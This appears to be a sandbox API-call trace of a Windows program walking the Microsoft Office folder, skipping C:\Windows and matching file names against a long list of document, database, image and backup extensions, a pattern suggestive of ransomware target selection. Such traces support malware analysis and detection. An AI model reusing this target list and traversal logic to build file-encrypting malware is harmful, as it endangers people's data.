1 [0082.731] lstrlenW (lpString=".jpx") returned 4 [0082.731] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1 [0082.732] lstrlenW (lpString=".js") returned 3 [0082.732] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1 [0082.732] lstrlenW (lpString=".jsf") returned 4 [0082.732] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1 [0082.732] lstrlenW (lpString=".json") returned 5 [0082.732] lstrcmpiW (lpString1=".json", lpString2="B.dll") returned -1 [0082.732] lstrlenW (lpString=".jsp") returned 4 [0082.732] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1 [0082.732] lstrlenW (lpString=".kdc") returned 4 [0082.732] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1 [0082.732] lstrlenW (lpString=".kmz") returned 4 [0082.732] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1 [0082.732] lstrlenW (lpString=".kwm") returned 4 [0082.732] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1 [0082.732] lstrlenW (lpString=".lasso") returned 6 [0082.732] lstrcmpiW (lpString1=".lasso", lpString2="DB.dll") returned -1 [0082.732] lstrlenW (lpString=".lbi") returned 4 [0082.732] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1 [0082.732] lstrlenW (lpString=".lgf") returned 4 [0082.732] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1 [0082.732] lstrlenW (lpString=".lgp") returned 4 [0082.732] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1 [0082.732] lstrlenW (lpString=".log") returned 4 [0082.732] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1 [0082.732] lstrlenW (lpString=".m1v") returned 4 [0082.732] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1 [0082.732] lstrlenW (lpString=".m4a") returned 4 [0082.732] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1 [0082.732] lstrlenW (lpString=".m4v") returned 4 [0082.732] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1 [0082.732] lstrlenW (lpString=".max") returned 4 [0082.733] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1 [0082.733] lstrlenW (lpString=".md") returned 3 [0082.733] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1 [0082.733] lstrlenW (lpString=".mda") returned 4 [0082.733] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1 [0082.733] lstrlenW (lpString=".mdb") returned 4 [0082.733] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1 [0082.733] lstrlenW (lpString=".mde") returned 4 [0082.733] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1 [0082.733] lstrlenW (lpString=".mdf") returned 4 [0082.733] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1 [0082.733] lstrlenW (lpString=".mdw") returned 4 [0082.733] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1 [0082.733] lstrlenW (lpString=".mef") returned 4 [0082.733] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1 [0082.733] lstrlenW (lpString=".mft") returned 4 [0082.733] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1 [0082.733] lstrlenW (lpString=".mfw") returned 4 [0082.733] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1 [0082.733] lstrlenW (lpString=".mht") returned 4 [0082.733] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1 [0082.733] lstrlenW (lpString=".mhtml") returned 6 [0082.733] lstrcmpiW (lpString1=".mhtml", lpString2="DB.dll") returned -1 [0082.733] lstrlenW (lpString=".mka") returned 4 [0082.733] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1 [0082.733] lstrlenW (lpString=".mkidx") returned 6 [0082.733] lstrcmpiW (lpString1=".mkidx", lpString2="DB.dll") returned -1 [0082.733] lstrlenW (lpString=".mkv") returned 4 [0082.733] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1 [0082.733] lstrlenW (lpString=".mos") returned 4 [0082.733] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1 [0082.734] lstrlenW (lpString=".mov") returned 4 [0082.734] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1 [0082.734] lstrlenW (lpString=".mp3") returned 4 [0082.734] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1 [0082.734] lstrlenW (lpString=".mp4") returned 4 [0082.734] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1 [0083.040] lstrlenW (lpString=".mpeg") returned 5 [0083.040] lstrcmpiW (lpString1=".mpeg", lpString2="B.dll") returned -1 [0083.086] lstrlenW (lpString=".mpg") returned 4 [0083.086] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1 [0083.086] lstrlenW (lpString=".mpv") returned 4 [0083.086] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1 [0083.086] lstrlenW (lpString=".mrw") returned 4 [0083.086] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1 [0083.086] lstrlenW (lpString=".msg") returned 4 [0083.086] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1 [0083.086] lstrlenW (lpString=".mxl") returned 4 [0083.086] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1 [0083.086] lstrlenW (lpString=".myd") returned 4 [0083.086] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1 [0083.086] lstrlenW (lpString=".myi") returned 4 [0083.086] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1 [0083.086] lstrlenW (lpString=".nef") returned 4 [0083.086] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1 [0083.086] lstrlenW (lpString=".nrw") returned 4 [0083.086] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1 [0083.086] lstrlenW (lpString=".obj") returned 4 [0083.086] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1 [0083.086] lstrlenW (lpString=".odb") returned 4 [0083.087] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1 [0083.087] lstrlenW (lpString=".odc") returned 4 [0083.087] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1 [0083.087] lstrlenW (lpString=".odm") returned 4 [0083.087] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1 [0083.087] lstrlenW (lpString=".odp") returned 4 [0083.087] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1 [0083.087] lstrlenW (lpString=".ods") returned 4 [0083.087] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1 [0083.087] lstrlenW (lpString=".oft") returned 4 [0083.087] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1 [0083.087] lstrlenW (lpString=".one") returned 4 [0083.087] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1 [0083.087] lstrlenW (lpString=".onepkg") returned 7 [0083.087] lstrcmpiW (lpString1=".onepkg", lpString2="tDB.dll") returned -1 [0083.087] lstrlenW (lpString=".onetoc2") returned 8 [0083.087] lstrcmpiW (lpString1=".onetoc2", lpString2="ctDB.dll") returned -1 [0083.088] lstrlenW (lpString=".opt") returned 4 [0083.088] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1 [0083.088] lstrlenW (lpString=".oqy") returned 4 [0083.088] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1 [0083.088] lstrlenW (lpString=".orf") returned 4 [0083.088] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1 [0083.088] lstrlenW (lpString=".p12") returned 4 [0083.088] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1 [0083.088] lstrlenW (lpString=".p7b") returned 4 [0083.088] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1 [0083.088] lstrlenW (lpString=".p7c") returned 4 [0083.088] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1 [0083.088] lstrlenW (lpString=".pam") returned 4 [0083.088] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1 [0083.088] lstrlenW (lpString=".pbm") returned 4 [0083.088] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1 [0083.088] lstrlenW (lpString=".pct") returned 4 [0083.088] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1 [0083.088] lstrlenW (lpString=".pcx") returned 4 [0083.089] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1 [0083.089] lstrlenW (lpString=".pdd") returned 4 [0083.089] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1 [0083.089] lstrlenW (lpString=".pdf") returned 4 [0083.089] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0083.089] lstrlenW (lpString=".pdp") returned 4 [0083.089] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1 [0083.089] lstrlenW (lpString=".pef") returned 4 [0083.089] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1 [0083.089] lstrlenW (lpString=".pem") returned 4 [0083.089] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1 [0083.089] lstrlenW (lpString=".pff") returned 4 [0083.089] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1 [0083.089] lstrlenW (lpString=".pfm") returned 4 [0083.089] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1 [0083.089] lstrlenW (lpString=".pfx") returned 4 [0083.089] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1 [0083.089] lstrlenW (lpString=".pgm") returned 4 [0083.089] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1 [0083.090] lstrlenW (lpString=".php") returned 4 [0083.090] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1 [0083.090] lstrlenW (lpString=".php3") returned 5 [0083.090] lstrcmpiW (lpString1=".php3", lpString2="B.dll") returned -1 [0083.090] lstrlenW (lpString=".php4") returned 5 [0083.090] lstrcmpiW (lpString1=".php4", lpString2="B.dll") returned -1 [0083.090] lstrlenW (lpString=".php5") returned 5 [0083.090] lstrcmpiW (lpString1=".php5", lpString2="B.dll") returned -1 [0083.090] lstrlenW (lpString=".phtml") returned 6 [0083.090] lstrcmpiW (lpString1=".phtml", lpString2="DB.dll") returned -1 [0083.090] lstrlenW (lpString=".pict") returned 5 [0083.090] lstrcmpiW (lpString1=".pict", lpString2="B.dll") returned -1 [0083.090] lstrlenW (lpString=".pl") returned 3 [0083.090] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1 [0083.090] lstrlenW (lpString=".pls") returned 4 [0083.090] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1 [0083.090] lstrlenW (lpString=".pm") returned 3 [0083.090] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1 [0083.091] lstrlenW (lpString=".png") returned 4 [0083.091] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0083.091] lstrlenW (lpString=".pnm") returned 4 [0083.091] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1 [0083.091] lstrlenW (lpString=".pot") returned 4 [0083.091] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1 [0083.091] lstrlenW (lpString=".potm") returned 5 [0083.091] lstrcmpiW (lpString1=".potm", lpString2="B.dll") returned -1 [0083.091] lstrlenW (lpString=".potx") returned 5 [0083.091] lstrcmpiW (lpString1=".potx", lpString2="B.dll") returned -1 [0083.091] lstrlenW (lpString=".ppa") returned 4 [0083.091] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1 [0083.092] lstrlenW (lpString=".ppam") returned 5 [0083.092] lstrcmpiW (lpString1=".ppam", lpString2="B.dll") returned -1 [0083.092] lstrlenW (lpString=".ppm") returned 4 [0083.092] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1 [0083.092] lstrlenW (lpString=".pps") returned 4 [0083.092] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1 [0083.092] lstrlenW (lpString=".ppsm") returned 5 [0083.092] lstrcmpiW (lpString1=".ppsm", lpString2="B.dll") returned -1 [0083.092] lstrlenW (lpString=".ppt") returned 4 [0083.092] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0083.092] lstrlenW (lpString=".pptm") returned 5 [0083.092] lstrcmpiW (lpString1=".pptm", lpString2="B.dll") returned -1 [0083.092] lstrlenW (lpString=".pptx") returned 5 [0083.092] lstrcmpiW (lpString1=".pptx", lpString2="B.dll") returned -1 [0083.093] lstrlenW (lpString=".prn") returned 4 [0083.093] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1 [0083.093] lstrlenW (lpString=".ps") returned 3 [0083.093] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1 [0083.093] lstrlenW (lpString=".psb") returned 4 [0083.093] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1 [0083.093] lstrlenW (lpString=".psd") returned 4 [0083.093] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1 [0083.093] lstrlenW (lpString=".pst") returned 4 [0083.093] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1 [0083.094] lstrlenW (lpString=".ptx") returned 4 [0083.094] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1 [0083.094] lstrlenW (lpString=".pub") returned 4 [0083.094] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1 [0083.094] lstrlenW (lpString=".pwm") returned 4 [0083.094] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1 [0083.094] lstrlenW (lpString=".pxr") returned 4 [0083.094] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1 [0083.094] lstrlenW (lpString=".py") returned 3 [0083.094] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1 [0083.094] lstrlenW (lpString=".qt") returned 3 [0083.095] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1 [0083.095] lstrlenW (lpString=".r3d") returned 4 [0083.095] lstrcmpiW (lpString1=".r3d", lpString2=".dll") returned 1 [0083.095] lstrlenW (lpString=".raf") returned 4 [0083.095] lstrcmpiW (lpString1=".raf", lpString2=".dll") returned 1 [0083.095] lstrlenW (lpString=".rar") returned 4 [0083.095] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0083.095] lstrlenW (lpString=".raw") returned 4 [0083.095] lstrcmpiW (lpString1=".raw", lpString2=".dll") returned 1 [0083.095] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x39310a8 [0089.753] FindNextFileW (in: hFindFile=0x39741f0, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5db9aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5db9aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office14", cAlternateFileName="")) returned 1 [0089.753] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Microsoft Office\\Office14") returned 1 [0089.754] lstrcmpiW (lpString1="C:\\Windows", lpString2="Office14") returned -1 [0089.754] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x39410b0 [0089.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14") returned 42 [0089.755] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\*", lpFindFileData=0x354f58c | out: lpFindFileData=0x354f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5db9aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5db9aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39742f0 [0089.755] FindNextFileW (in: hFindFile=0x39742f0, lpFindFileData=0x354f58c | out: lpFindFileData=0x354f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5db9aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5db9aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.755] FindNextFileW (in: hFindFile=0x39742f0, lpFindFileData=0x354f58c | out: lpFindFileData=0x354f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdf0acac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf0acac0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0089.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned 47 [0089.756] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned 1 [0089.756] lstrlenW (lpString="1033") returned 4 [0089.756] lstrcmpiW (lpString1="C:\\Windows", lpString2="1033") returned 1 [0089.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3ef0058 [0089.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned 47 [0089.756] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\*", lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdf0acac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf0acac0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3974230 [0090.629] FindNextFileW (in: hFindFile=0x3974230, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdf0acac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf0acac0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.630] FindNextFileW (in: hFindFile=0x3974230, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x14e98550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x53b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCDDSUI.DLL", cAlternateFileName="")) returned 1 [0090.630] lstrlenW (lpString="ACCDDSUI.DLL") returned 12 [0090.630] lstrlenW (lpString=".1cd") returned 4 [0090.631] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0090.631] lstrlenW (lpString=".3ds") returned 4 [0090.631] lstrcmpiW (lpString1=".3ds", lpString2=".DLL") returned -1 [0090.631] lstrlenW (lpString=".3fr") returned 4 [0090.631] lstrcmpiW (lpString1=".3fr", lpString2=".DLL") returned -1 [0090.631] lstrlenW (lpString=".3g2") returned 4 [0090.631] lstrcmpiW (lpString1=".3g2", lpString2=".DLL") returned -1 [0090.631] lstrlenW (lpString=".3gp") returned 4 [0090.631] lstrcmpiW (lpString1=".3gp", lpString2=".DLL") returned -1 [0090.631] lstrlenW (lpString=".7z") returned 3 [0090.631] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0090.631] lstrlenW (lpString=".accda") returned 6 [0090.631] lstrcmpiW (lpString1=".accda", lpString2="UI.DLL") returned -1 [0090.632] lstrlenW (lpString=".accdb") returned 6 [0090.632] lstrcmpiW (lpString1=".accdb", lpString2="UI.DLL") returned -1 [0090.632] lstrlenW (lpString=".accdc") returned 6 [0090.632] lstrcmpiW (lpString1=".accdc", lpString2="UI.DLL") returned -1 [0090.632] lstrlenW (lpString=".accde") returned 6 [0090.632] lstrcmpiW (lpString1=".accde", lpString2="UI.DLL") returned -1 [0090.632] lstrlenW (lpString=".accdt") returned 6 [0090.632] lstrcmpiW (lpString1=".accdt", lpString2="UI.DLL") returned -1 [0090.632] lstrlenW (lpString=".accdw") returned 6 [0090.632] lstrcmpiW (lpString1=".accdw", lpString2="UI.DLL") returned -1 [0090.632] lstrlenW (lpString=".adb") returned 4 [0090.632] lstrcmpiW (lpString1=".adb", lpString2=".DLL") returned -1 [0090.633] lstrlenW (lpString=".adp") returned 4 [0090.633] lstrcmpiW (lpString1=".adp", lpString2=".DLL") returned -1 [0090.633] lstrlenW (lpString=".ai") returned 3 [0090.633] lstrcmpiW (lpString1=".ai", lpString2="DLL") returned -1 [0090.633] lstrlenW (lpString=".ai3") returned 4 [0090.633] lstrcmpiW (lpString1=".ai3", lpString2=".DLL") returned -1 [0090.633] lstrlenW (lpString=".ai4") returned 4 [0090.633] lstrcmpiW (lpString1=".ai4", lpString2=".DLL") returned -1 [0090.633] lstrlenW (lpString=".ai5") returned 4 [0090.633] lstrcmpiW (lpString1=".ai5", lpString2=".DLL") returned -1 [0090.633] lstrlenW (lpString=".ai6") returned 4 [0090.633] lstrcmpiW (lpString1=".ai6", lpString2=".DLL") returned -1 [0090.633] lstrlenW (lpString=".ai7") returned 4 [0090.633] lstrcmpiW (lpString1=".ai7", lpString2=".DLL") returned -1 [0090.634] lstrlenW (lpString=".ai8") returned 4 [0090.634] lstrcmpiW (lpString1=".ai8", lpString2=".DLL") returned -1 [0090.634] lstrlenW (lpString=".anim") returned 5 [0090.634] lstrcmpiW (lpString1=".anim", lpString2="I.DLL") returned -1 [0090.634] lstrlenW (lpString=".arw") returned 4 [0090.634] lstrcmpiW (lpString1=".arw", lpString2=".DLL") returned -1 [0090.634] lstrlenW (lpString=".as") returned 3 [0090.634] lstrcmpiW (lpString1=".as", lpString2="DLL") returned -1 [0090.634] lstrlenW (lpString=".asa") returned 4 [0090.634] lstrcmpiW (lpString1=".asa", lpString2=".DLL") returned -1 [0090.634] lstrlenW (lpString=".asc") returned 4 [0090.634] lstrcmpiW (lpString1=".asc", lpString2=".DLL") returned -1 [0090.634] lstrlenW (lpString=".ascx") returned 5 [0090.635] lstrcmpiW (lpString1=".ascx", lpString2="I.DLL") returned -1 [0090.635] lstrlenW (lpString=".asm") returned 4 [0090.635] lstrcmpiW (lpString1=".asm", lpString2=".DLL") returned -1 [0090.635] lstrlenW (lpString=".asmx") returned 5 [0090.635] lstrcmpiW (lpString1=".asmx", lpString2="I.DLL") returned -1 [0090.635] lstrlenW (lpString=".asp") returned 4 [0090.635] lstrcmpiW (lpString1=".asp", lpString2=".DLL") returned -1 [0090.635] lstrlenW (lpString=".aspx") returned 5 [0090.635] lstrcmpiW (lpString1=".aspx", lpString2="I.DLL") returned -1 [0090.635] lstrlenW (lpString=".asr") returned 4 [0090.635] lstrcmpiW (lpString1=".asr", lpString2=".DLL") returned -1 [0090.635] lstrlenW (lpString=".asx") returned 4 [0090.635] lstrcmpiW (lpString1=".asx", lpString2=".DLL") returned -1 [0090.636] lstrlenW (lpString=".avi") returned 4 [0090.636] lstrcmpiW (lpString1=".avi", lpString2=".DLL") returned -1 [0090.636] lstrlenW (lpString=".avs") returned 4 [0090.636] lstrcmpiW (lpString1=".avs", lpString2=".DLL") returned -1 [0090.636] lstrlenW (lpString=".backup") returned 7 [0090.636] lstrcmpiW (lpString1=".backup", lpString2="SUI.DLL") returned -1 [0090.636] lstrlenW (lpString=".bak") returned 4 [0090.636] lstrcmpiW (lpString1=".bak", lpString2=".DLL") returned -1 [0090.636] lstrlenW (lpString=".bay") returned 4 [0090.636] lstrcmpiW (lpString1=".bay", lpString2=".DLL") returned -1 [0090.636] lstrlenW (lpString=".bd") returned 3 [0090.636] lstrcmpiW (lpString1=".bd", lpString2="DLL") returned -1 [0090.636] lstrlenW (lpString=".bin") returned 4 [0090.637] lstrcmpiW (lpString1=".bin", lpString2=".DLL") returned -1 [0090.637] lstrlenW (lpString=".bmp") returned 4 [0090.637] lstrcmpiW (lpString1=".bmp", lpString2=".DLL") returned -1 [0090.637] lstrlenW (lpString=".bz2") returned 4 [0090.637] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0090.637] lstrlenW (lpString=".c") returned 2 [0090.637] lstrcmpiW (lpString1=".c", lpString2="LL") returned -1 [0090.637] lstrlenW (lpString=".cdr") returned 4 [0090.637] lstrcmpiW (lpString1=".cdr", lpString2=".DLL") returned -1 [0090.637] lstrlenW (lpString=".cer") returned 4 [0090.637] lstrcmpiW (lpString1=".cer", lpString2=".DLL") returned -1 [0090.638] lstrlenW (lpString=".cf") returned 3 [0090.638] lstrcmpiW (lpString1=".cf", lpString2="DLL") returned -1 [0090.638] lstrlenW (lpString=".cfc") returned 4 [0090.638] lstrcmpiW (lpString1=".cfc", lpString2=".DLL") returned -1 [0090.638] lstrlenW (lpString=".cfm") returned 4 [0090.638] lstrcmpiW (lpString1=".cfm", lpString2=".DLL") returned -1 [0090.638] lstrlenW (lpString=".cfml") returned 5 [0090.638] lstrcmpiW (lpString1=".cfml", lpString2="I.DLL") returned -1 [0090.638] lstrlenW (lpString=".cfu") returned 4 [0090.638] lstrcmpiW (lpString1=".cfu", lpString2=".DLL") returned -1 [0090.638] lstrlenW (lpString=".chm") returned 4 [0090.638] lstrcmpiW (lpString1=".chm", lpString2=".DLL") returned -1 [0090.638] lstrlenW (lpString=".cin") returned 4 [0090.638] lstrcmpiW (lpString1=".cin", lpString2=".DLL") returned -1 [0090.638] lstrlenW (lpString=".class") returned 6 [0090.639] lstrcmpiW (lpString1=".class", lpString2="UI.DLL") returned -1 [0090.639] lstrlenW (lpString=".clx") returned 4 [0090.639] lstrcmpiW (lpString1=".clx", lpString2=".DLL") returned -1 [0090.639] lstrlenW (lpString=".config") returned 7 [0090.639] lstrcmpiW (lpString1=".config", lpString2="SUI.DLL") returned -1 [0090.639] lstrlenW (lpString=".cpp") returned 4 [0090.639] lstrcmpiW (lpString1=".cpp", lpString2=".DLL") returned -1 [0090.639] lstrlenW (lpString=".cr2") returned 4 [0090.639] lstrcmpiW (lpString1=".cr2", lpString2=".DLL") returned -1 [0090.639] lstrlenW (lpString=".crt") returned 4 [0090.639] lstrcmpiW (lpString1=".crt", lpString2=".DLL") returned -1 [0090.639] lstrlenW (lpString=".crw") returned 4 [0090.639] lstrcmpiW (lpString1=".crw", lpString2=".DLL") returned -1 [0090.639] lstrlenW (lpString=".cs") returned 3 [0090.639] lstrcmpiW (lpString1=".cs", lpString2="DLL") returned -1 [0090.639] lstrlenW (lpString=".css") returned 4 [0090.639] lstrcmpiW (lpString1=".css", lpString2=".DLL") returned -1 [0090.639] lstrlenW (lpString=".csv") returned 4 [0090.639] lstrcmpiW (lpString1=".csv", lpString2=".DLL") returned -1 [0090.639] lstrlenW (lpString=".cub") returned 4 [0090.639] lstrcmpiW (lpString1=".cub", lpString2=".DLL") returned -1 [0090.639] lstrlenW (lpString=".dae") returned 4 [0090.639] lstrcmpiW (lpString1=".dae", lpString2=".DLL") returned -1 [0090.639] lstrlenW (lpString=".dat") returned 4 [0090.639] lstrcmpiW (lpString1=".dat", lpString2=".DLL") returned -1 [0090.639] lstrlenW (lpString=".db") returned 3 [0090.639] lstrcmpiW (lpString1=".db", lpString2="DLL") returned -1 [0090.639] lstrlenW (lpString=".dbf") returned 4 [0090.640] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0090.640] lstrlenW (lpString=".dbx") returned 4 [0090.640] lstrcmpiW (lpString1=".dbx", lpString2=".DLL") returned -1 [0090.640] lstrlenW (lpString=".dc3") returned 4 [0090.640] lstrcmpiW (lpString1=".dc3", lpString2=".DLL") returned -1 [0090.640] lstrlenW (lpString=".dcm") returned 4 [0090.640] lstrcmpiW (lpString1=".dcm", lpString2=".DLL") returned -1 [0090.640] lstrlenW (lpString=".dcr") returned 4 [0090.640] lstrcmpiW (lpString1=".dcr", lpString2=".DLL") returned -1 [0090.640] lstrlenW (lpString=".der") returned 4 [0090.640] lstrcmpiW (lpString1=".der", lpString2=".DLL") returned -1 [0090.640] lstrlenW (lpString=".dib") returned 4 [0090.640] lstrcmpiW (lpString1=".dib", lpString2=".DLL") returned -1 [0090.641] lstrlenW (lpString=".dic") returned 4 [0090.641] lstrcmpiW (lpString1=".dic", lpString2=".DLL") returned -1 [0090.641] lstrlenW (lpString=".dif") returned 4 [0090.641] lstrcmpiW (lpString1=".dif", lpString2=".DLL") returned -1 [0090.641] lstrlenW (lpString=".divx") returned 5 